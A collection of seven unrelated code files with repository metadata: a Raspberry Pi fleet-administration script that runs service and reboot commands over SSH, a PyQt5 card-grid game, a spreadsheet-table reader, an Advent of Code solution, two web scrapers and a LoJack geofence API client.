{"seq_id":"34336842052","text":"import time\nfrom picraftzero.log import logger\nfrom pprint import pformat\nimport subprocess\nimport threading\n\nfrom picraftzero.config import get_config\n\n\n# see: https://pymotw.com/2/threading/\n\n\n\n\nclass RemoteCommands:\n\n    DEFAULT_COMMAND_TIMEOUT_SECONDS = 30\n\n    def __init__(self):\n        self.user = 'pi'\n        self.timeout = RemoteCommands.DEFAULT_COMMAND_TIMEOUT_SECONDS\n\n\n    def run_remote_command(self, host, command, result):\n        result[host]['COMMAND'] = command\n        logger.debug(\"run_remote_command: {}\".format([self.user, host, command]))\n        prog = subprocess.Popen([\"/usr/bin/ssh\", \"{}@{}\".format(self.user, host), command], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)\n        out = prog.communicate()\n        result[host]['STATUS'] = 'COMPLETED'\n\n        result[host]['RC'] = prog.returncode\n        result[host]['STDOUT'] = out[0]\n        result[host]['STDERR'] = out[1]\n\n        #logger.error(\"stderr; {}\".format(errdata))\n\n\n    def run_remote_commands(self, hosts, command):\n        results = {}\n        threads = []\n\n        for host in hosts:\n            results[host] = {}\n            results[host]['STATUS'] = 'STARTING'\n\n            logger.debug(\"Host: {} Cmd: {}\".format(host, command))\n            t = threading.Thread(target=self.run_remote_command, args=(host, command, results), name=host)\n            threads.append(t)\n            t.start()\n\n        for t in threads:\n            logger.info('Waiting for %s', t.getName())\n            t.join(self.timeout)\n            logger.info('Final status for {} = {}'.format(t.getName(), t.isAlive()))\n\n        logger.info(\"Results: {}\".format(pformat(results)))\n        for host in hosts:\n            if host in results:\n                if results[host]['STATUS'] != 'COMPLETED':\n                    results[host]['STATUS'] = 'TIMEOUT'\n\n                elif results[host]['RC'] == 0:\n                    results[host]['STATUS'] = \"OK\"\n                else:\n                    results[host]['STATUS'] = \"ERROR\"\n            else:\n                logger.error(\"No results found for {}\".format(host))\n\n        return results\n\n    def start_service(self, hosts, service):\n        self.run_remote_commands(hosts, \"sudo systemctl start {}\".format(service))\n\n    def restart_service(self, hosts, service):\n        self.run_remote_commands(hosts, \"sudo systemctl restart {}\".format(service))\n\n    def stop_service(self, hosts, service):\n        self.run_remote_commands(hosts, \"sudo systemctl stop {}\".format(service))\n\n    def disable_service(self, hosts, service):\n        self.run_remote_commands(hosts, \"sudo systemctl disable {}\".format(service))\n\n    def service_status(self, hosts, service):\n        self.run_remote_commands(hosts, \"sudo systemctl status {}\".format(service))\n\n    def reboot(self, hosts):\n        self.run_remote_commands(hosts, \"sudo reboot\")\n\n    def poweroff(self, hosts):\n        self.run_remote_commands(hosts, \"sudo poweroff\")\n\n\n    def _run_test(self, hosts, cmd):\n        results = self.run_remote_commands(hosts, cmd)\n        logger.info(pformat(results))\n\n\n\nif __name__ == \"TEST__main__\":\n\n    cmd = RemoteCommands()\n    cmd._run_test(['cam0.local'], \"sleep {}\".format(cmd.timeout+10))\n    cmd._run_test(['cam0.local'], \"no_such_command\")\n    cmd._run_test(['no_such_host'], \"date\")\n    cmd._run_test(['cam0.local'], \"date\")\n\n\n\n\n\n# ----------------------------------------------------------------------------------------------\n\n\nclass PiCraftServices:\n\n    def __init__(self):\n        self.remote_cmds = RemoteCommands()\n        self.config = get_config()\n        self.camera_services = self.config['services_topology']['services']['camera']\n        self.www_services = self.config['services_topology']['services']['www']\n        self.topology = self.config['services_topology']['hosts_services_mapping']\n\n    def all_hosts(self):\n        return list(self.topology.keys())\n\n    def all_services(self):\n        all_services = []\n        for host, services in self.topology.items():\n            all_services += services\n        return set(all_services)\n\n    def hosts_for_service(self, service):\n        hosts = []\n        for host, services in self.topology.items():\n            if service in services:\n                hosts.append(host)\n        logger.info(\"Service {} is installed on : {}\".format(service, hosts))\n        return hosts\n\n\n\n\n    def camera_hosts(self):\n        hosts = []\n        for host, services in self.topology.items():\n            #print(host, services)\n            if set(self.camera_services).intersection(set(services)):\n                hosts.append(host)\n        return hosts\n\n\n    def www_hosts(self):\n        hosts = []\n        for host, services in self.topology.items():\n            if set(self.www_services).intersection(set(services)):\n                hosts.append(host)\n        return hosts\n\n    # ---\n\n    def service_status(self):\n        for service in self.all_services():\n            hosts = self.hosts_for_service(service)\n            logger.info(\"Getting status for service {} on hosts: {}\".format(service, hosts))\n            self.remote_cmds.service_status(hosts, service)\n\n    def www_services_status(self):\n        for service in self.www_services:\n            hosts = self.hosts_for_service(service)\n            logger.info(\"Getting status for service {} on hosts: {}\".format(service, hosts))\n            self.remote_cmds.service_status(hosts, service)\n\n\n    def camera_services_status(self):\n        for service in self.camera_services:\n            hosts = self.hosts_for_service(service)\n            logger.info(\"Getting status for service {} on hosts: {}\".format(service, hosts))\n            self.remote_cmds.service_status(hosts, service)\n\n    def restart_camera_services(self):\n        for service in self.camera_services:\n            self.remote_cmds.restart_service(self.camera_hosts(), service)\n\n    def restart_www_services(self):\n        for service in self.www_services:\n            self.remote_cmds.restart_service(self.www_hosts(), service)\n\n    def stop_www_services(self):\n        for service in self.www_services:\n            self.remote_cmds.stop_service(self.www_hosts(), service)\n\n\n    def reboot_all(self):\n        self.remote_cmds.reboot(self.all_hosts())\n\n    def poweroff_all(self):\n        self.remote_cmds.poweroff(self.all_hosts())\n        #TODO: expected t fail!\n\"\"\" 'cam2.local': {'COMMAND': 'sudo poweroff',\n                'RC': 255,\n                'STATUS': 'COMPLETED',\n                'STDERR': 'Connection to cam2.local closed by remote host.\\r\\n',\n                'STDOUT': ''}}\"\"\"\n\n\n\n\n\n\nif __name__ == \"__main__\":\n    # see: https://mkaz.tech/code/python-argparse-cookbook/\n    import argparse\n\n    pcs = PiCraftServices()\n\n    logger.info(\"All hosts                 : {}\".format(pcs.all_hosts()))\n    logger.info(\"All services              : {}\".format(pcs.all_services()))\n    logger.info(\"Hosts with camera services: {}\".format(pcs.camera_hosts()))\n    logger.info(\"Hosts with www services   : {}\".format(pcs.www_hosts()))\n\n    commands = dict(\n        service_status=pcs.service_status,\n        www_service_restart=pcs.restart_www_services,\n        www_service_status=pcs.www_services_status,\n        www_service_stop=pcs.stop_www_services,\n        camera_service_restart=pcs.restart_camera_services,\n        camera_service_status=pcs.camera_services_status,\n        reboot_all=pcs.reboot_all,\n        poweroff_all=pcs.poweroff_all,\n    )\n\n    parser = argparse.ArgumentParser(description='Run admin scripts')\n\n    parser.add_argument('-v', '--verbose', action=\"store_true\", help=\"verbose output\")\n    parser.add_argument('-d', '--dryrun', action=\"store_true\", help=\"dry run, don't execute remote commands\")\n    parser.add_argument('-l', '--logfile', type=argparse.FileType('w'), help=\"logfile to be created\")\n    parser.add_argument('-c', '--command', choices=list(commands.keys()), help=\"command\")\n\n    args = parser.parse_args()\n\n    if args.command:\n        commands[args.command]()\n","repo_name":"WayneKeenan/picraftzero","sub_path":"picraftzero/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":8001,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"35"}
{"seq_id":"25181868208","text":"import sys\r\nimport random\r\nfrom PyQt5.QtWidgets import (QWidget, QToolTip,QPushButton,QLabel, QApplication,QLCDNumber,QTextEdit, QSlider, QVBoxLayout,QMainWindow,QCheckBox,QFrame,QProgressBar,QCalendarWidget,QAction, qApp)\r\nfrom PyQt5.QtGui import (QIcon,QFont,QColor,QPixmap)\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5.QtCore import pyqtSignal, QObject,QBasicTimer,QDate,QMetaObject,QSize,QRect,QTimer\r\n\r\n\r\n\r\n\r\nclass Window(QMainWindow):\r\n    resized = pyqtSignal()\r\n    click=pyqtSignal()\r\n    def  __init__(self, parent=None):\r\n        super().__init__()\r\n        self.j=0\r\n\r\n\r\n        self.UI()\r\n    def UI(self):\r\n        self.btn_mas=[]\r\n        self.label_mas=[]\r\n        self.image_mas=[]\r\n        self.btn_x=0\r\n        self.btn_y=100\r\n        self.width_btn=150\r\n\r\n        self.height_btn=300\r\n\r\n\r\n        self.resized.connect(self.someFunction)\r\n        self.centralwidget=QWidget(self)\r\n        self.setWindowTitle('Resize')\r\n        self.resize(1600,1600)\r\n\r\n        self.CreateLabel()\r\n        self.CreateImage()\r\n        self.CreateButton()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        self.show()\r\n    def CreateImage(self):\r\n        mas_image=[]\r\n        for i in range(9):\r\n             path='{}'.format(i)+'.jpg'\r\n             print(path)\r\n             pixmap1=QPixmap(path)\r\n             pixmap1=pixmap1.scaled(QSize(150,300))\r\n             mas_image.append(pixmap1)\r\n\r\n\r\n\r\n        return mas_image\r\n    def CreateLabel(self):\r\n        mas=[]\r\n        self.label_number=[]\r\n        mas_image=self.CreateImage()\r\n        print(mas_image)\r\n\r\n        for x in range (0, 30):\r\n             num = random.randint(0, 30)\r\n             while num in mas:\r\n                 num = random.randint(0, 30)\r\n             mas.append(num)\r\n\r\n\r\n\r\n\r\n        j=0\r\n        for i in range(30):\r\n\r\n            if self.btn_x>1500:\r\n                self.btn_x=0\r\n                self.btn_y+=302\r\n\r\n\r\n            label=QLabel(self)\r\n            label.setGeometry(self.btn_x,self.btn_y,self.width_btn,self.height_btn)\r\n\r\n\r\n\r\n            if j>8:\r\n                j=0\r\n\r\n\r\n\r\n            label.setPixmap(mas_image[j])\r\n            self.label_number.append(str(j))\r\n            j+=1\r\n            label.setVisible(True)\r\n\r\n            self.label_mas.insert(mas[i],label)\r\n\r\n\r\n            self.btn_x+=160\r\n\r\n\r\n    def CreateButton(self):\r\n\r\n        self.j+=1\r\n\r\n        self.btn_x=0\r\n        self.btn_y=100\r\n\r\n\r\n        for i in range(30):\r\n\r\n            if self.btn_x>1500:\r\n                self.btn_x=0\r\n                self.btn_y+=302\r\n            self.btn=QPushButton(self)\r\n\r\n\r\n\r\n            self.btn.setGeometry(self.btn_x,self.btn_y,self.width_btn,self.height_btn)\r\n            pixmap=QPixmap('10.jpg')\r\n\r\n            pixmap=pixmap.scaled(QSize(150,300))\r\n\r\n            self.btn.setIcon(QIcon(pixmap))\r\n\r\n\r\n            self.btn.setIconSize(QSize(150,300))\r\n\r\n\r\n\r\n            self.btn.setVisible(True)\r\n\r\n\r\n\r\n\r\n\r\n\r\n            self.btn_x+=160\r\n            self.btn.clicked.connect(self.Click)\r\n\r\n            self.btn_mas.append(self.btn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    def Click(self):\r\n        j=0\r\n\r\n\r\n\r\n        sender=self.sender()\r\n        print(sender,'sender')\r\n        for i in self.btn_mas:\r\n          if sender==i:\r\n\r\n            (self.btn_mas[j].setVisible(False))\r\n            break\r\n          j+=1\r\n          print(j)\r\n\r\n        print(self.label_number[j],'mas')\r\n\r\n\r\n\r\n\r\n\r\n    def Button(self,event):\r\n        print(self.sender().text())\r\n    def resizeEvent(self, event):\r\n        self.resized.emit()\r\n        return super(Window, self).resizeEvent(event)\r\n\r\n    def someFunction(self):\r\n        print(self.width())\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    import sys\r\n    app = QApplication(sys.argv)\r\n    w = Window()\r\n    w.show()\r\n    sys.exit(app.exec_())","repo_name":"Nenarochkin/PyQT5","sub_path":"Код урока последний.py","file_name":"Код урока последний.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24577336322","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2018年7月5日\n\n@author: xulin.huang\n'''\nimport os\n\nclass Reader(object):\n    '''导表读取器(基类)\n    '''\n    \n    def __init__(self, dirPath, fileName):\n        self.dirPath = dirPath # 导表文件所在目录\n        self.fileName = fileName # 导表文件名\n        self.fullFileName = os.path.join(dirPath, fileName) # 导表文件全路径\n        self.data = {} # 导表数据，如: {1:{1:field1,2:field2,...}, 2:{1:field1,2:field2,...},}\n        self.fieldNameList = {} # 字段名列表，如: {1:fieldName1,2:fieldName2,...}\n        self.formatList = {} # 格式列表，如: {1:format1,2:format2,...}\n        self.blankRowNoList = [] # 空行的行号列表，如: [行号1,行号5,行号7,...]\n        \n    def getFileName(self):\n        return self.fileName\n        \n    def getFullFileName(self):\n        return self.fullFileName\n    \n    def getFieldRowNo(self):\n        '''字段名行号\n                            该行内容如: id、name\n        '''\n        raise Exception(\"请在子类实现方法 getFieldRowNo\")\n    \n    def getFieldNameByColNo(self, colNo):\n        '''根据列号获取字段名\n        '''\n        return self.fieldNameList.get(colNo, None)\n    \n    def transFieldName(self, fieldName):\n        '''转换成字段名\n                            假如字段名附加了信息，就需要在这里过滤掉，如: id|I、text|S\n        '''\n        strList = fieldName.split(\"|\", 1)\n        if len(strList) == 2:\n            return strList[0]\n        return fieldName\n    \n    def transToFieldNameList(self, valueList):\n        '''转换成字段名列表\n        '''\n        self.fieldNameList = {}\n        for colIndex, value in enumerate(valueList):\n            colNo = colIndex + 1\n            self.fieldNameList[colNo] = self.transFieldName(value)\n    \n    def getFormatRowNo(self):\n        '''数据格式行号\n                            该行内容如: 编号|I、名称|S\n        '''\n        raise Exception(\"请在子类实现方法 getFormatRowNo\")\n    \n    def getFormatByColNo(self, colNo):\n        '''根据列号获取格式\n        '''\n        return self.formatList.get(colNo, \"\")\n    \n    def transFormat(self, fieldFormat):\n        '''获取字段格式\n                            一般情况 下，格式是附加在字段后面的，所以需要过滤出来，如: 编号|I、名称|S\n        可以支持多个字段格式，如: 奖励|I|L\n        '''\n        strList = fieldFormat.split(\"|\", 1)\n        if len(strList) == 2:\n            return strList[1]\n        return \"\"\n    \n    def transToFormatList(self, valueList):\n        '''转换成格式列表\n        '''\n        self.formatList = {}\n        for colIndex, value in enumerate(valueList):\n            colNo = colIndex + 1\n            self.formatList[colNo] = self.transFormat(value)\n        \n    def getDataBeginRowNo(self):\n        '''导表数据开始行号\n                            该行内容如: 编号|I、名称|S\n        '''\n        raise Exception(\"请在子类实现方法 getDataBeginRowNo\")\n    \n    def iterData(self):\n        '''迭代导表数据\n                            迭代顺序：行号升序\n        '''\n        rowNoList = list(self.data.keys())\n        rowNoList.sort()\n        for rowNo in rowNoList:\n            yield rowNo, self.data[rowNo]\n            \n    def iterColData(self, colNo):\n        '''根据列号迭代导表数据\n        '''\n        if colNo > self.getColCount():\n            return\n        \n        rowNoList = list(self.data.keys())\n        rowNoList.sort()\n        for rowNo in rowNoList:\n            fieldObj = self.data[rowNo].get(colNo)\n            if fieldObj:\n                yield rowNo, fieldObj\n\n    def readData(self):\n        '''读取导表数据\n        '''\n        raise Exception(\"请在子类实现方法 readData\")\n    \n    def transLineData(self, rowNo, valueList):\n        '''转换行数据\n        '''\n        if rowNo < self.getDataBeginRowNo():\n            if rowNo == self.getFieldRowNo(): # 字段名行\n                self.transToFieldNameList(valueList)\n            if rowNo == self.getFormatRowNo(): # 格式行\n                self.transToFormatList(valueList)\n            return\n        \n        if len(valueList) == 0: # 空的数据行\n            self.blankRowNoList.append(rowNo)\n            return\n        \n        # 下面是数据行的转换\n        fieldObjList = {}\n        for colIndex, value in enumerate(valueList):\n            colNo = colIndex + 1\n            fieldName = self.getFieldNameByColNo(colNo)\n            if not fieldName:\n                break\n            fieldFormat = self.getFormatByColNo(colNo)\n            fieldObjList[colNo] = self.newField(fieldName, value, fieldFormat, rowNo, colNo)\n        self.data[rowNo] = fieldObjList\n        \n    def newField(self, fieldName, fieldValue, fieldFormat, rowNo, colNo):\n        '''创建字段\n        '''\n        fieldObj = Field(fieldName, fieldValue, fieldFormat, rowNo, colNo)\n        fieldObj.fileName = self.fileName\n        return fieldObj\n    \n    def getRowCount(self):\n        '''获取行数\n        '''\n        return len(self.data)\n    \n    def getColCount(self):\n        '''获取列数\n        '''\n        return len(self.fieldNameList)\n    \n    def getBlankRowNoList(self):\n        '''空行的行号列表\n        '''\n        return self.blankRowNoList\n    \n    def getDuplicateIdList(self):\n        '''获取重复id列表\n        '''\n        idList = {}\n        for rowNo, fieldObj in self.iterColData(1):\n            idValue = fieldObj.value\n            fieldList = idList.setdefault(idValue, [])\n            fieldList.append(fieldObj)\n            \n        duplicateIdList = []\n        for idValue, fieldList in idList.items():\n            if len(fieldList) > 1:\n                duplicateIdList.append(idValue)\n        return duplicateIdList\n    \n    def findSameValueField(self, colNo, value):\n        '''搜寻相同值的字段\n        '''\n        for rowNo, fieldObj in self.iterColData(colNo):\n            if fieldObj.value == value:\n                return fieldObj\n        return None\n            \n    \n    def __str__(self):\n        infoList = []\n        infoList.append(\"  文件名:{}\".format(self.fileName))\n        infoList.append(\"  行数:{}\".format(self.getRowCount()))\n        infoList.append(\"  列数:{}\".format(self.getColCount()))\n        infoList.append(\"  字段名列表:{}\".format(\",\".join(self.fieldNameList.values())))\n        infoList.append(\"  格式列表:{}\".format(\",\".join(self.formatList.values())))\n        return \"{{\\n{}\\n}}\".format(\"\\n\".join(infoList))\n    \n\nclass Field(object):\n    '''字段\n    '''\n    \n    def __init__(self, name, value, fieldFormat, rowNo, colNo):\n        self.name = name # 字段名\n        self.value = value # 字段值\n        self.required = False # 是否必填\n        self.formatStr = fieldFormat # 格式字符串\n        self.formatList = [] # 字段格式列表，格式可以有多个\n        if fieldFormat:\n            self.setFieldFormat(fieldFormat)\n        self.rowNo = rowNo # 行号\n        self.colNo = colNo # 列号\n        self.fileName = \"\" # 导表文件名\n        \n    def setFieldFormat(self, fieldFormat):\n        '''设置字段格式\n        '''\n        self.formatStr = fieldFormat\n        if fieldFormat.startswith(\"!\"):\n            self.required = True\n            fieldFormat = fieldFormat[1:]\n        if fieldFormat:\n            self.formatList = re.findall(\"\\w+\\(.+\\)|\\w+\", fieldFormat)\n        \n    def __str__(self):\n        infoList = []\n        infoList.append(\"字段名:{}\".format(self.name))\n        infoList.append(\"行号:{}\".format(self.rowNo))\n        infoList.append(\"列号:{}\".format(self.colNo))\n        infoList.append(\"格式:{}\".format(self.formatStr))\n        infoList.append(\"字段值:'{}\\'\".format(self.value))\n        return \"{}\".format(\",\".join(infoList))\n        \n    \nimport re\n    ","repo_name":"huangxulin/checkData","sub_path":"src/reader/object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9450783059","text":"import numpy as np\n\ndef parse_input(path):\n    with open(path) as f:\n        lines = f.read().split(\"\\n\")\n        return [list((int(char) for char in line)) for line in lines][:-1]\n\ndef count_visible(trees):\n    visible = np.ones((trees.shape[0], trees.shape[1], 4))  # Axis 2: boolean for 4 directions\n    for r, row in enumerate(trees):\n        for c, tree in enumerate(row):\n            visible[0:r, c, 0][trees[0:r, c] <= tree] = 0   # Obscure up\n            visible[r,c+1:, 1][trees[r,c+1:] <= tree] = 0   # Obscure right\n            visible[r+1:,c, 2][trees[r+1:,c] <= tree] = 0   # Obscure down\n            visible[r, 0:c, 3][trees[r, 0:c] <= tree] = 0   # Obscure left\n    return np.sum(np.sum(visible, axis= 2) > 0)\n\ndef find_maximum_score(trees):\n    scores = np.ones_like(trees)\n    for r, row in enumerate(trees):\n        for c, tree in enumerate(row):\n            t_trees = find_blocking(trees[0:r,c][::-1], tree)\n            r_trees = find_blocking(trees[r,c+1:], tree)\n            d_trees = find_blocking(trees[r+1:,c], tree)\n            l_trees = find_blocking(trees[r,0:c][::-1], tree)\n            scores[r,c] = t_trees * r_trees * d_trees * l_trees\n    return np.max(scores)\n\ndef find_blocking(vector, value):\n    if len(vector) == 0:\n        return 0\n    seen = 0\n    for v_val in vector:\n        seen += 1\n        if v_val >= value:\n            return seen\n    return seen\n\n\nif __name__ == \"__main__\":\n    trees = np.array(parse_input(\"data/input08.txt\"))\n    print(\"Number of visible trees:\", count_visible(trees))\n    print(\"Maximum score for tree:\", find_maximum_score(trees))","repo_name":"mikaels1997/AoC2022","sub_path":"source/py/Day08.py","file_name":"Day08.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10664868831","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\ndef get_data(url, keywords, enterprises):\n    articles = []\n    resource = 'https://fips.ru'\n\n    headers = {\n        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n        'accept-encoding': 'gzip',\n        'Accept-Charset': 'utf-8',\n        'content-Type': 'charset=utf-8',\n        'cache-control': 'max-age=0',\n        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.160 YaBrowser/22.5.3.684 Yowser/2.5 Safari/537.36'\n    }\n\n    r = requests.get(\n        url=url, headers=headers)\n\n    soup = BeautifulSoup(r.content, \"html.parser\").find(\n        'div', class_='search-page')\n\n    while soup is not None:\n        for article in soup.find_all(\"a\"):\n            if article.parent.name == 'small' or\\\n                article.find('div') or \\\n                article.get_text().strip() in ['Главная', 'О ФИПС', 'Всероссийская патентно-техническая библиотека',\n                                               'Новости', 'Архив новостей', 'Сортировать по дате', 'След.', 'Конец',\n                                               'fips@rupto.ru', 'Новости', 'Документы', 'Вакансии', 'Глоссарий',\n                                               'Ссылки', 'Ответы на вопросы', 'О сайте', 'Карта сайта', 'Как проехать',\n                                               'Сообщить о ошибке', 'Начало', 'Пред.', 'Правила приема заявок',\n                                               '1', '2', '3', '4', '5', '6', '7', '8', '9', '10',\n                                               '11', '12', '13', '14', '15', '16', '17', '18', '19', '20']:\n                continue\n            articleHeader = article\n            siteUrl = resource + articleHeader['href']\n\n            newsDateAttr = article.find_next('small')\n\n            newsDate = newsDateAttr.get_text().strip().split(' ')[\n                1] if newsDateAttr else None\n\n            if newsDate is None:\n                continue\n\n            [day, month, year] = newsDate.split('.') if newsDate else [\n                'None', 'None', 'None']\n\n            newsDate = '-'.join([year, month, day]) if newsDate else 'None'\n            articleObject = {\n                'enterprises': enterprises,\n                # 'resource': resource,\n                'resource': 'Федеральный институт промышленной собственности',\n                'news': articleHeader.get_text().strip(),\n                'date': newsDate,\n                'link': siteUrl,\n                'keywords': keywords,\n            }\n\n            if len(articleObject['news']) < 15 or articleObject['news'].find(' ') == -1:\n                continue\n\n            articles.append(articleObject)\n        nextPageTag = soup.find(\n            \"a\", text=\"След.\")\n\n        soup = BeautifulSoup(requests.get(\n            url=resource + nextPageTag['href'], headers=headers).content, \"html.parser\").find(\n            'div', class_='search-page') if nextPageTag else None\n\n    return articles\n\n\ndef fipsParser(keywords=[], enterprises=[]):\n    filter = '+'.join(keywords)+'+'+'+'.join(enterprises)\n    searchUrl = \"https://fips.ru/search/?q=%s\" % (\n        filter)\n\n    articles = get_data(searchUrl, keywords, enterprises)\n    return articles\n","repo_name":"mautaliev/hackathon_mincifri_orenburg_case1","sub_path":"server/parsers/fipsParser.py","file_name":"fipsParser.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8270287410","text":"from typing import Any, Dict, Optional, Union, cast\n\nimport httpx\n\nfrom ...client import Client\nfrom ...models.list_all_geofences_response_200 import ListAllGeofencesResponse200\nfrom ...types import UNSET, Response, Unset\n\n\ndef _get_kwargs(\n    id: str,\n    *,\n    client: Client,\n    limit: Union[Unset, None, int] = UNSET,\n    offset: Union[Unset, None, int] = UNSET,\n) -> Dict[str, Any]:\n    url = \"{}/assets/{id}/geofences\".format(client.base_url, id=id)\n\n    headers: Dict[str, str] = client.get_headers()\n    cookies: Dict[str, Any] = client.get_cookies()\n\n    params: Dict[str, Any] = {}\n    params[\"limit\"] = limit\n\n    params[\"offset\"] = offset\n\n    params = {k: v for k, v in params.items() if v is not UNSET and v is not None}\n\n    return {\n        \"method\": \"get\",\n        \"url\": url,\n        \"headers\": headers,\n        \"cookies\": cookies,\n        \"timeout\": client.get_timeout(),\n        \"params\": params,\n    }\n\n\ndef _parse_response(*, response: httpx.Response) -> Optional[Union[Any, ListAllGeofencesResponse200]]:\n    if response.status_code == 200:\n        response_200 = ListAllGeofencesResponse200.from_dict(response.json())\n\n        return response_200\n    if response.status_code == 401:\n        response_401 = cast(Any, None)\n        return response_401\n    return None\n\n\ndef _build_response(*, response: httpx.Response) -> Response[Union[Any, ListAllGeofencesResponse200]]:\n    return Response(\n        status_code=response.status_code,\n        content=response.content,\n        headers=response.headers,\n        parsed=_parse_response(response=response),\n    )\n\n\ndef sync_detailed(\n    id: str,\n    *,\n    client: Client,\n    limit: Union[Unset, None, int] = UNSET,\n    offset: Union[Unset, None, int] = UNSET,\n) -> Response[Union[Any, ListAllGeofencesResponse200]]:\n    \"\"\"List All Geofences\n\n    Args:\n        id (str): Asset ID Example: 272956057382HD3JBSD24.\n        limit (Union[Unset, None, int]):\n        offset (Union[Unset, None, int]):\n\n    Returns:\n        Response[Union[Any, ListAllGeofencesResponse200]]\n    \"\"\"\n\n    kwargs = _get_kwargs(\n        id=id,\n        client=client,\n        limit=limit,\n        offset=offset,\n    )\n\n    response = httpx.request(\n        verify=client.verify_ssl,\n        **kwargs,\n    )\n\n    return _build_response(response=response)\n\n\ndef sync(\n    id: str,\n    *,\n    client: Client,\n    limit: Union[Unset, None, int] = UNSET,\n    offset: Union[Unset, None, int] = UNSET,\n) -> Optional[Union[Any, ListAllGeofencesResponse200]]:\n    \"\"\"List All Geofences\n\n    Args:\n        id (str): Asset ID Example: 272956057382HD3JBSD24.\n        limit (Union[Unset, None, int]):\n        offset (Union[Unset, None, int]):\n\n    Returns:\n        Response[Union[Any, ListAllGeofencesResponse200]]\n    \"\"\"\n\n    return sync_detailed(\n        id=id,\n        client=client,\n        limit=limit,\n        offset=offset,\n    ).parsed\n\n\nasync def asyncio_detailed(\n    id: str,\n    *,\n    client: Client,\n    limit: Union[Unset, None, int] = UNSET,\n    offset: Union[Unset, None, int] = UNSET,\n) -> Response[Union[Any, ListAllGeofencesResponse200]]:\n    \"\"\"List All Geofences\n\n    Args:\n        id (str): Asset ID Example: 272956057382HD3JBSD24.\n        limit (Union[Unset, None, int]):\n        offset (Union[Unset, None, int]):\n\n    Returns:\n        Response[Union[Any, ListAllGeofencesResponse200]]\n    \"\"\"\n\n    kwargs = _get_kwargs(\n        id=id,\n        client=client,\n        limit=limit,\n        offset=offset,\n    )\n\n    async with httpx.AsyncClient(verify=client.verify_ssl) as _client:\n        response = await _client.request(**kwargs)\n\n    return _build_response(response=response)\n\n\nasync def asyncio(\n    id: str,\n    *,\n    client: Client,\n    limit: Union[Unset, None, int] = UNSET,\n    offset: Union[Unset, None, int] = UNSET,\n) -> Optional[Union[Any, ListAllGeofencesResponse200]]:\n    \"\"\"List All Geofences\n\n    Args:\n        id (str): Asset ID Example: 272956057382HD3JBSD24.\n        limit (Union[Unset, None, int]):\n        offset (Union[Unset, None, int]):\n\n    Returns:\n        Response[Union[Any, ListAllGeofencesResponse200]]\n    \"\"\"\n\n    return (\n        await asyncio_detailed(\n            id=id,\n            client=client,\n            limit=limit,\n            offset=offset,\n        )\n    ).parsed\n","repo_name":"scorgn/lojack-clients","sub_path":"src/lojack_clients/services/api/default/list_all_geofences.py","file_name":"list_all_geofences.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28877460149","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef scrape_flipkart_mobile(url):\n    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'}\n    response = requests.get(url, headers=headers)\n\n    if response.status_code == 200:\n        soup = BeautifulSoup(response.text, 'html.parser')\n\n        # Extract name and brand\n        name = soup.find('span', {'class': '_35KyD6'}).get_text(strip=True)\n        brand = soup.find('span', {'class': 'B_NuCI'}).get_text(strip=True)\n\n        # Extracting specifications\n        specifications = {}\n        specs_rows = soup.find_all('tr', {'class': '_1s_Smc row'})\n        for row in specs_rows:\n            key = row.find('td', {'class': '_1hKmbr col col-3-12'}).get_text(strip=True)\n            value = row.find('td', {'class': '_1hKmbr col col-9-12'}).get_text(strip=True)\n            specifications[key] = value\n\n        # Print the results\n        print(f\"Name: {name}\")\n        print(f\"Brand: {brand}\")\n        print(\"Specifications:\")\n        for key, value in specifications.items():\n            print(f\"{key}: {value}\")\n    else:\n        print(f\"Failed to retrieve the page. Status Code: {response.status_code}\")\n\n# Example URL of a mobile phone on Flipkart\nurl = 'https://www.flipkart.com/samsung-galaxy-s21-fe-5g-snapdragon-888-navy-128-gb/p/itmcb8fc8eb2e82b?pid=MOBGTKQG8T9ZHJMM&lid=LSTMOBGTKQG8T9ZHJMMA4D1AC&marketplace=FLIPKART&fm=neo%2Fmerchandising&iid=M_e5c00873-7089-49cb-880c-7f149a3162e8_1_1BUWY8OBA8L9_MC.MOBGTKQG8T9ZHJMM&ppt=browse&ppn=browse&otracker=clp_pmu_v2_Latest%2BSamsung%2Bmobiles%2B_3_1.productCard.PMU_V2_Samsung%2BGalaxy%2BS21%2BFE%2B5G%2Bwith%2BSnapdragon%2B888%2B%2528Navy%252C%2B128%2BGB%2529_samsung-mobile-store_MOBGTKQG8T9ZHJMM_neo%2Fmerchandising_2&otracker1=clp_pmu_v2_PINNED_neo%2Fmerchandising_Latest%2BSamsung%2Bmobiles%2B_LIST_productCard_cc_3_NA_view-all&cid=MOBGTKQG8T9ZHJMM'\nscrape_flipkart_mobile(url)\n","repo_name":"pharsha9/DArejolttask","sub_path":"task2-main/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
